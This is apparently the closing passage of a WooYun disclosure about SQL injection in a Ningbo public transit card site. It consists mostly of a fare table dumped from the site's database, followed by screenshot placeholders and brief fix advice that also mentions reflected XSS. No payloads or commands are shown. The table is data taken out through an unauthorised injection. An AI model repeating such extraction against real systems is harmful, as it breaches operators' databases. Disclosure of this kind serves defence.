| SZRQ                | KSYE | SFLB | YJPK             | YGBH   | SFJLX | TIME1    | TIME2    | SFJE1 | SFJE2 | LISTNO       |
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+
| 2008-12-17 00:00:00 | 5    | B 类  | 03_普通钱包类宁波市民卡    | 099950 | 公交    |          |          | 1.2   | 0     | E00B03210000 |
| 2008-12-17 00:00:00 | 5    | C 类  | 03_普通钱包类宁波市民卡    | 099950 | 公交    |          |          | 1.8   | 0     | E00C03210000 |
| 2008-12-03 00:00:00 | 5    | A 类  | 01_卡专有票类内部学生卡    | 003602 | 公交    |          |          | 1     | 0     | E00A01A10000 |
| 2008-12-02 00:00:00 | 5    | A 类  | 01_卡专有票类员工卡票卡    | 003602 | 公交    |          |          | 1     | 0     | E00A01A90000 |
| 2013-08-22 00:00:00 | 5    | I 类  | 03_普通钱包类电子钱包卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03010000 |
| 2008-12-28 00:00:00 | 5    | A 类  | 01_卡专有票类VIP2票卡   | 003602 | 公交    |          |          | 1     | 0     | E00A01B80000 |
| 2008-12-04 00:00:00 | 5    | A 类  | 01_卡专有票类高龄人票卡    | 003602 | 公交    |          |          | 1     | 0     | E00A01B50000 |
| 2007-12-01 00:00:00 | 5    | A 类  | 03_普通钱包类电子钱包卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03010000 |
| 2007-12-02 00:00:00 | 5    | A 类  | 03_普通钱包类特种月票卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03A20000 |
| 2007-12-03 00:00:00 | 5    | A 类  | 03_普通钱包类普通月票卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03A30000 |
| 2007-12-04 00:00:00 | 5    | A 类  | 03_普通钱包类学生月票卡    | 003602 | 公交    |          |          | .3    | 0     | E00A03A40000 |
| 2007-12-06 00:00:00 | 5    | A 类  | 03_普通钱包类员工卡票卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03A90000 |
| 2007-12-05 00:00:00 | 5    | A 类  | 03_普通钱包类老人月票卡    | 003602 | 公交    |          |          | .3    | 0     | E00A03A50000 |
| 2007-12-09 00:00:00 | 5    | A 类  | 03_普通钱包类城际通票卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03300000 |
| 2007-12-01 00:00:00 | 5    | B 类  | 03_普通钱包类电子钱包卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00B03010000 |
| 2007-12-02 00:00:00 | 5    | B 类  | 03_普通钱包类特种月票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00B03A20000 |
| 2007-12-03 00:00:00 | 5    | B 类  | 03_普通钱包类普通月票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00B03A30000 |
| 2007-12-04 00:00:00 | 5    | B 类  | 03_普通钱包类学生月票卡    | 003602 | 公交    |          |          | .6    | 0     | E00B03A40000 |
| 2007-12-06 00:00:00 | 5    | B 类  | 03_普通钱包类员工卡票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00B03A90000 |
| 2007-12-05 00:00:00 | 5    | B 类  | 03_普通钱包类老人月票卡    | 003602 | 公交    |          |          | .6    | 0     | E00B03A50000 |
| 2007-12-07 00:00:00 | 5    | B 类  | 03_普通钱包类城际通票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00B03300000 |
| 2007-12-01 00:00:00 | 5    | C 类  | 03_普通钱包类电子钱包卡    | 003602 | 公交    |          |          | 1.8   | 0     | E00C03010000 |
| 2007-12-02 00:00:00 | 5    | C 类  | 03_普通钱包类特种月票卡    | 003602 | 公交    |          |          | 1.8   | 0     | E00C03A20000 |
| 2007-12-03 00:00:00 | 5    | C 类  | 03_普通钱包类普通月票卡    | 003602 | 公交    |          |          | 1.8   | 0     | E00C03A30000 |
| 2007-12-04 00:00:00 | 5    | C 类  | 03_普通钱包类学生月票卡    | 003602 | 公交    |          |          | .9    | 0     | E00C03A40000 |
| 2007-12-06 00:00:00 | 5    | C 类  | 03_普通钱包类员工卡票卡    | 003602 | 公交    |          |          | 1.8   | 0     | E00C03A90000 |
| 2007-12-05 00:00:00 | 5    | C 类  | 03_普通钱包类老人月票卡    | 003602 | 公交    |          |          | .9    | 0     | E00C03A50000 |
| 2007-12-17 00:00:00 | 5    | C 类  | 03_普通钱包类城际通票卡    | 003602 | 公交    |          |          | 1.8   | 0     | E00C03300000 |
| 2007-12-02 00:00:00 | 5    | D 类  | 03_普通钱包类电子钱包卡    | 003602 | 公交    |          |          | 2.4   | 0     | E00D03010000 |
| 2007-12-10 00:00:00 | 5    | D 类  | 03_普通钱包类特种月票卡    | 003602 | 公交    |          |          | 2.4   | 0     | E00D03A20000 |
| 2007-12-12 00:00:00 | 5    | D 类  | 03_普通钱包类普通月票卡    | 003602 | 公交    |          |          | 2.4   | 0     | E00D03A30000 |
| 2007-12-20 00:00:00 | 5    | D 类  | 03_普通钱包类学生月票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00D03A40000 |
| 2007-12-23 00:00:00 | 5    | D 类  | 03_普通钱包类员工卡票卡    | 003602 | 公交    |          |          | 2.4   | 0     | E00D03A90000 |
| 2007-12-21 00:00:00 | 5    | D 类  | 03_普通钱包类老人月票卡    | 003602 | 公交    |          |          | 1.2   | 0     | E00D03A50000 |
| 2007-12-28 00:00:00 | 5    | D 类  | 03_普通钱包类城际通票卡    | 003602 | 公交    |          |          | 2.4   | 0     | E00D03300000 |
| 2007-12-02 00:00:00 | 5    | E 类  | 03_普通钱包类电子钱包卡    | 003602 | 公交    |          |          | .9    | 0     | E00E03010000 |
| 2007-12-03 00:00:00 | 5    | E 类  | 03_普通钱包类特种月票卡    | 003602 | 公交    |          |          | .9    | 0     | E00E03A20000 |
| 2007-12-03 00:00:00 | 5    | E 类  | 03_普通钱包类普通月票卡    | 003602 | 公交    |          |          | .9    | 0     | E00E03A30000 |
| 2014-11-21 00:00:00 | 5    | B 类  | 03_普通钱包类市民卡1     | 003601 | 公交    |          |          | 1.2   | 0     | E00B034B0000 |
| 2014-12-19 00:00:00 | 5    | C 类  | 03_普通钱包类市民卡1     | 099969 | 公交    |          |          | 1.8   | 0     | E00C034B0000 |
| 2014-12-19 00:00:00 | 5    | I 类  | 03_普通钱包类市民卡1     | 099969 | 公交    |          |          | .1    | 0     | E00I034B0000 |
| 2013-07-02 00:00:00 | 5    | H 类  | 03_普通钱包类市民卡1     | 099969 | 公交    |          |          | 3     | 0     | E00H034B0000 |
| 2014-11-21 00:00:00 | 5    | A 类  | 03_普通钱包类市民卡1     | 099969 | 公交    |          |          | .6    | 0     | E00A034B0000 |
| 2007-12-10 00:00:00 | 5    | E 类  | 03_普通钱包类学生月票卡    | 003602 | 公交    |          |          | .45   | 0     | E00E03A40000 |
| 2007-12-15 00:00:00 | 5    | E 类  | 03_普通钱包类员工卡票卡    | 003602 | 公交    |          |          | .9    | 0     | E00E03A90000 |
| 2007-12-11 00:00:00 | 5    | E 类  | 03_普通钱包类老人月票卡    | 003602 | 公交    |          |          | .45   | 0     | E00E03A50000 |
| 2007-12-29 00:00:00 | 5    | E 类  | 03_普通钱包类城际通票卡    | 003602 | 公交    |          |          | .9    | 0     | E00E03300000 |
| 2009-11-30 00:00:00 | 5    | B 类  | 01_卡专有票类高龄人票卡    | 099925 | 公交    |          |          | 2     | 0     | E00B01B50000 |
| 2009-11-30 00:00:00 | 5    | C 类  | 01_卡专有票类高龄人票卡    | 099925 | 公交    |          |          | 3     | 0     | E00C01B50000 |
| 2009-11-30 00:00:00 | 5    | D 类  | 01_卡专有票类高龄人票卡    | 099925 | 公交    |          |          | 4     | 0     | E00D01B50000 |
| 2009-11-30 00:00:00 | 5    | E 类  | 01_卡专有票类高龄人票卡    | 099925 | 公交    |          |          | 5     | 0     | E00E01B50000 |
| 2009-11-30 00:00:00 | 5    | F 类  | 01_卡专有票类高龄人票卡    | 099925 | 公交    |          |          | 6     | 0     | E00F01B50000 |
| 2013-02-05 00:00:00 | 5    | H 类  | 01_卡专有票类高龄人票卡    | 099969 | 公交    |          |          | 5     | 0     | E00H01B50000 |
| 2013-02-05 00:00:00 | 5    | H 类  | 03_普通钱包类电子钱包卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03010000 |
| 2013-02-06 00:00:00 | 5    | H 类  | 03_普通钱包类特种月票卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03A20000 |
| 2013-02-07 00:00:00 | 5    | H 类  | 03_普通钱包类普通月票卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03A30000 |
| 2013-02-08 00:00:00 | 5    | H 类  | 03_普通钱包类学生月票卡    | 099969 | 公交    |          |          | 1.5   | 0     | E00H03A40000 |
| 2013-03-01 00:00:00 | 5    | H 类  | 03_普通钱包类员工卡票卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03A90000 |
| 2013-02-11 00:00:00 | 5    | H 类  | 03_普通钱包类老人月票卡    | 099969 | 公交    |          |          | 1.5   | 0     | E00H03A50000 |
| 2013-03-05 00:00:00 | 5    | H 类  | 03_普通钱包类城际通票卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03300000 |
| 2013-07-05 00:00:00 | 5    | H 类  | 03_普通钱包类宁波市民卡    | 099969 | 公交    |          |          | 3     | 0     | E00H03210000 |
| 2013-08-23 00:00:00 | 5    | I 类  | 03_普通钱包类特种月票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A20000 |
| 2013-08-24 00:00:00 | 5    | I 类  | 03_普通钱包类普通月票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A30000 |
| 2013-08-25 00:00:00 | 5    | I 类  | 03_普通钱包类学生月票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A40000 |
| 2013-08-29 00:00:00 | 5    | I 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A10000 |
| 2013-08-27 00:00:00 | 5    | I 类  | 03_普通钱包类员工卡票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A90000 |
| 2013-08-26 00:00:00 | 5    | I 类  | 03_普通钱包类老人月票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03A50000 |
| 2013-09-03 00:00:00 | 5    | I 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | .1    | 0     | E00I03A80000 |
| 2013-09-05 00:00:00 | 5    | I 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | .1    | 0     | E00I03B80000 |
| 2013-09-01 00:00:00 | 5    | I 类  | 03_普通钱包类城际通票卡    | 099969 | 公交    |          |          | .1    | 0     | E00I03300000 |
| 2015-05-19 00:00:00 | 5    | H 类  | 03_普通钱包类市民卡2     | 099969 | 公交    |          |          | 1.5   | 0     | E00H034C0000 |
| 2015-06-08 00:00:00 | 5    | G 类  | 03_普通钱包类市民卡2     | 099969 | 公交    |          |          | 2     | 0     | E00G034C0000 |
| 2014-12-20 00:00:00 | 5    | D 类  | 03_普通钱包类市民卡1     | 099925 | 公交    |          |          | 2.4   | 0     | E00D034B0000 |
| 2015-04-14 00:00:00 | 5    | B 类  | 03_普通钱包类市民卡2     | 003601 | 公交    |          |          | .6    | 0     | E00B034C0000 |
| 2007-12-07 00:00:00 | 5    | A 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | .3    | 0     | E00A03A10000 |
| 2015-04-20 00:00:00 | 5    | A 类  | 03_普通钱包类市民卡2     | 099969 | 公交    |          |          | .3    | 0     | E00A034C0000 |
| 2007-12-10 00:00:00 | 5    | C 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | .9    | 0     | E00C03A10000 |
| 2007-12-22 00:00:00 | 5    | D 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | 1.2   | 0     | E00D03A10000 |
| 2007-12-20 00:00:00 | 5    | E 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | 1.5   | 0     | E00E03A10000 |
| 2013-07-02 00:00:00 | 5    | F 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | 1.8   | 0     | E00F03A10000 |
| 2015-04-20 00:00:00 | 5    | C 类  | 03_普通钱包类市民卡2     | 099969 | 公交    |          |          | .9    | 0     | E00C034C0000 |
| 2013-03-04 00:00:00 | 5    | H 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | 1.5   | 0     | E00H03A10000 |
| 2007-12-10 00:00:00 | 5    | A 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | .6    | 0     | E00A03A80000 |
| 2007-12-09 00:00:00 | 5    | B 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | 1.2   | 0     | E00B03A80000 |
| 2007-12-19 00:00:00 | 5    | C 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | 1.8   | 0     | E00C03A80000 |
| 2013-07-01 00:00:00 | 5    | D 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | 2.4   | 0     | E00D03A80000 |
| 2015-04-20 00:00:00 | 5    | I 类  | 03_普通钱包类市民卡2     | 099969 | 公交    |          |          | .1    | 0     | E00I034C0000 |
| 2013-07-02 00:00:00 | 5    | F 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | 3.6   | 0     | E00F03A80000 |
| 2015-07-17 00:00:00 | 5    | A 类  | 01_卡专有票类VIP1票卡   | 099969 | 公交    |          |          | 1     | 0     | E00A01A80000 |
| 2013-07-01 00:00:00 | 5    | H 类  | 03_普通钱包类VIP1票卡   | 099969 | 公交    |          |          | 3     | 0     | E00H03A80000 |
| 2007-12-11 00:00:00 | 5    | A 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | .6    | 0     | E00A03B80000 |
| 2013-11-27 00:00:00 | 5    | Z 类  | 01_卡专有票类员工卡票卡    | 099969 | 公交    |          |          | 0     | 0     | E00Z01A90000 |
| 2007-12-10 00:00:00 | 5    | B 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | 1.2   | 0     | E00B03B80000 |
| 2007-12-27 00:00:00 | 5    | C 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | 1.8   | 0     | E00C03B80000 |
| 2013-07-02 00:00:00 | 5    | D 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | 2.4   | 0     | E00D03B80000 |
| 2013-07-02 00:00:00 | 5    | F 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | 3.6   | 0     | E00F03B80000 |
| 2013-07-02 00:00:00 | 5    | H 类  | 03_普通钱包类VIP2票卡   | 099969 | 公交    |          |          | 3     | 0     | E00H03B80000 |
| 2007-12-08 00:00:00 | 5    | B 类  | 03_普通钱包类内部学生卡    | 099969 | 公交    |          |          | .6    | 0     | E00B03A10000 |
| 2007-12-12 00:00:00 | 5    | A 类  | 03_普通钱包类宁波市民卡    | 003602 | 公交    |          |          | .6    | 0     | E00A03210000 |
| 2010-10-26 00:00:00 | 5    | G 类  | 03_普通钱包类学生月票卡    | 099925 | 公交    |          |          | 2     | 0     | E00G03A40000 |
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+


注入信息.png


tables.png


公交卡信息.png


漏洞证明：

注入信息.png

修复方案：

对所有的参数重新检测一下，不止这一个参数存在注入，这里只举一例
网站同时存在一些反射XSS，过滤一下特殊字符
祝好！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：16 (WooYun评价)